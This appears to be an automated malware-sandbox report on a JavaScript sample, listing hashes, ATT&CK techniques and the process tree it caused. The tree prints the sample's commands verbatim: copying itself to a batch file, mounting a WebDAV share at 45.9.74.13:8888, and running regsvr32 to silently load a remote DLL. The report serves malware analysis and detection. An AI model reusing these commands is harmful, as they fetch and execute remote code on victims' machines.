e933ca12b57e64a87cbf02dd5630c48cec4fc1796dd676bcf34fd1d32ca8101c

Analysis

max time kernel
15s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 22:35

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General

Target

2362313565781516725.js
Size

5KB
MD5

ad11a8c365332019253eacf65046bcbc
SHA1

80291bb0a6c44ac903a71340e31d7d5425f90749
SHA256

e933ca12b57e64a87cbf02dd5630c48cec4fc1796dd676bcf34fd1d32ca8101c
SHA512

260997341d1b6075e1676a1d85be310c3ee848e881d95b96abf0f986cfd76f07027ff3ae1256c10fb75c7b0892efa5aacee1872e641aa83b6b18a8b188d2bdc6
SSDEEP

96:7hDCqEsCLafxW1/8UIAn/8US4VmnJeHLkpa7s7LPFid6Fi0P2sRFidvdiYa2kHa1:7hdUWWQAD8GZs7odzox+dv0YHkHy

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1308	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 2504	1944	wscript.exe	29
PID 1944 wrote to memory of 2504	1944	wscript.exe	29
PID 1944 wrote to memory of 2504	1944	wscript.exe	29
PID 2504 wrote to memory of 644	2504	cmd.exe	31
PID 2504 wrote to memory of 644	2504	cmd.exe	31
PID 2504 wrote to memory of 644	2504	cmd.exe	31
PID 2504 wrote to memory of 1308	2504	cmd.exe	32
PID 2504 wrote to memory of 1308	2504	cmd.exe	32
PID 2504 wrote to memory of 1308	2504	cmd.exe	32
PID 2504 wrote to memory of 1308	2504	cmd.exe	32
PID 2504 wrote to memory of 1308	2504	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2362313565781516725.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2362313565781516725.js" "C:\Users\Admin\\vujtwv.bat" && "C:\Users\Admin\\vujtwv.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:644
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\601.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\vujtwv.bat

Filesize
5KB

MD5
ad11a8c365332019253eacf65046bcbc

SHA1
80291bb0a6c44ac903a71340e31d7d5425f90749

SHA256
e933ca12b57e64a87cbf02dd5630c48cec4fc1796dd676bcf34fd1d32ca8101c

SHA512
260997341d1b6075e1676a1d85be310c3ee848e881d95b96abf0f986cfd76f07027ff3ae1256c10fb75c7b0892efa5aacee1872e641aa83b6b18a8b188d2bdc6

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